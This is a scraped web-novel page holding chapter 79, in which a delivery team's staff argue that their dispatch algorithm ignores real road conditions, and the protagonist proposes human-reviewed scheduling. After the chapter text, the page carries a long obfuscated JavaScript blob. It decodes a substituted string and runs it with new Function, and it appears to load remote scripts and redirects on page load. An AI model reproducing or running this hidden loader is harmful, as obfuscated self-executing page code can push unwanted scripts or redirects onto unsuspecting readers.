第79章 王猛的困难

章节报错(免登陆)
下载APP,无广告、完整阅读

90书院(90shuyuan.com)更新快,无弹窗!

后回A凉皮店隔壁的D面馆取餐,送4号小区。
    其实这四个取餐点分散在四个方向,送餐点也东一个西一个,小陈骑着电动车在城中村窄巷里来回穿梭,最后两单严重超时,导致收到了两个差评。
    “按照算法,这四个订单的取送点在地图上看确实顺路,形成一个‘环形’。”赵明解释道,“但实际跑起来,城中村的巷道复杂,很多路电动车是过不去的,要绕行,再加上中午这里人多车多,骑手的速度根本快不起来。”
    刘时代盯着屏幕上的路线图,想起了汉朝的驿传系统,那时传递军情,要沿驿道设驿站,快马接力,确保信息畅通,如果让一匹马跑完所有驿站,早就累死了,现在的算法就像让一匹马跑全程,看似最优,实则是十分愚蠢的事情。
    “算法谁设计的?”他问。
    “我参考了几个开源的外卖调度系统,改了改。”赵明有些不好意思,“但我是程序员出身,不懂实际配送的难度,算法只考虑直线距离和时间预估,没考虑路况、天气、甚至商户出餐速度。”
    王猛接着说道,“还有更气人的,像昨天下午,系统给老张派了个单,从咱们片区最东头送到最西头,距离五公里,配送费八块,老张跑到一半,谁曾想系统又给他派了个反向的单,从西头送回东头去,等于白跑五公里,再跑五公里回来,气得老张差点摔手机。”
    王猛的话,让会议室里陷入一阵沉默,这时候窗外的阳光照进来,甚至都能看到空气中浮动的尘埃。
    刘时代站起来,走到白板前,拿起笔。
    “既然问题明确了:算法脱离实际,压榨骑手,损害用户体验。”他写下三个词:效率、公平、可持续,“那我们就是要在这三者间找到平衡。”
    “时代,这个怎么平衡呢?”李姐问,“让骑手少接单?那收入就少了,让系统慢点派单?那订餐的用户等不及。”
    刘时代思考着,在汉朝,他也面对过类似问题:军队调度。既要保证前线兵力充足,又要避免后方空虚;既要快速出击,又要考虑粮草供应,解决方法是指挥官亲临前线,根据实际情况调整部署。
    “算法需要‘眼睛’。”他说,“需要能看到实际路况、商户情况、骑手状态的‘眼睛’。”
    “你是说......人工干预吗?”赵明皱眉,“那还叫什么计算机算法?”
    “不是完全人工,是人机结合。”刘时代摇了摇头,在白板上画了个图,“算法做初步规划,但最终派单要经过‘调度员’审核,调度员熟悉片区,知道哪条路好走,哪个商户出餐慢,哪个骑手状态不好,简单言之,就是算法建议,人工决策。”
    王猛眼睛一亮,“这个我觉得行!咱们十五个骑手,我对每个人都了解,小陈年轻体力好,可以多跑远单;老张稳重,适合送重要订单;小李心细,适合送易洒的餐品......如果让我来调度的话,肯定比算法强。”
    “但人力成本呢?”李姐算账,“雇一个专职调度员,月薪至少四千,咱们现在勉强收支平衡,再加人的话就要亏损。”
    刘时代早就想过这个问题,“李姐,不用雇新人,刚刚王猛说的对,他正好转型做管理,本来就要减少跑单,调度工作就作为他管理的一部分,另外,每个骑手也可以参与,建立一个轮值制度,每天一个骑手当‘副调度’,一次协助王猛,给他们一些补贴,一百块一天。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();